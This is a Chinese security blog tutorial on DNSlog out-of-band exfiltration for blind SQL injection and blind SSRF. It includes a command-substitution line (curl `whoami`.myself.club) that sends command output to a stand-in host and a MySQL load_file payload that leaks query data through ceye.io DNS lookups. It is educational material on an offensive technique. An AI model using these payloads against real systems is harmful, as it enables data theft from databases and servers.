浅谈DNS注入利用

幸运草 2020年4月1日20:07:26安全防范评论阅读模式
不如我们先从一个问题说起,假如你发现了一个SQL盲注点,但是数据过多,速度太慢,如何加快?

浅谈DNS注入利用

答案就是DNS注入,官方称作DNSlog注入。之前在SSRF相关的组会中我们提到过这个点,当时是说DNS注入可以用来绕过无回显盲注,没有具体去说,不知道大家有没有事后去学习一下?

这里对其原理和利用方式做一个简要的总结。

DNS注入原理
浅谈DNS注入利用

先来了解几个概念:

DNSlog:DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com、baidu.com.等的访问信息。

子域名:什么是子域名?abc.baidu.com 就是baidu.com下的一个子域abc。baidu.com则是顶级域com的子域。同样www.baidu.com其实也属于一个baidu.com的子域。

来看一个DNS注入流程图,这里了解DNS的一个查询过程。浅谈DNS注入利用

通俗简单点来讲就是:我们访问xxx.myself.club,那么能够在相应的DNS服务器上发现其访问记录,那么如果这个xxx是其他一个我们需要回显的数据呢?那么这就能够利用其来绕过注入无回显。

利用方式
浅谈DNS注入利用

通过上面的流程图,想必你已经知道了DNS注入能够用来代替SQL注入。加上之前组会我们提到过的无回显SSRF,这里简要对两种做一个说明。

SSRF无回显

SSRF中通常会存在一个发起网络请求的函数,比如我们熟知的curl。而这就正好满足了我们的利用条件——需要发起请求。所以利用起来也比较简单。

在linux下有一种叫做“命令替换”的命令。

$(xxx)浅谈DNS注入利用

`xxx`浅谈DNS注入利用

先将命令执行,将执行后的结果替换到原来的位置构成新的字符串。于是在SSRF无回显中我们直接执行命令:

curl `whoami`.myself.club

接下来去翻记录就会发现这么一条记录 root.myself.club,即得到了我们想要的数据。这种方法不仅在web中能够用上,在pwn中也可能用得到(存在发起请求函数但是无回显)。

DNS注入代替SQL盲注

回到我们最初点出来的一个问题,如何利用DNS来加速SQL盲注?我们知道利用DNS注入,首先我们需要能够发起请求。

注意这里的发起请求可不是所谓的SQL盲注脚本中的发起请求。而是我们需要想办法让其在它的本地发起另外一个请求去访问我们的DNS服务器。那么SQL能不能做到呢?

答案显然是能的!不然也没啥可说的了23333

这里直接给你们一个payload先瞅瞅。

select load_file(concat('\\','攻击语句',.XXX.ceye.io\abc))

load_file是什么效果?请打开你们的资源管理器(win+E)在最上面有一行索引栏,我们可以直接在此输入路径访问文件。浅谈DNS注入利用        此外这个还能用来发起网络请求。

下面我们走一个完整的模拟流程:

首先到http://ceye.io/注册一个账号,拿到一个免费的DNSlog平台。浅谈DNS注入利用

这个就是我们可以利用的子域。

接下来模拟发起请求(注意要加两个)。浅谈DNS注入利用

虽然无法访问,但是请求是已经发过去了。去翻翻记录浅谈DNS注入利用

至此简单的原理已经给大家介绍完了,如何巧妙地利用就看大家自己发挥了。

本文来源于:浅谈DNS注入利用-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 加入Q群
  • QQ扫一扫
  • weinxin
幸运草

发表评论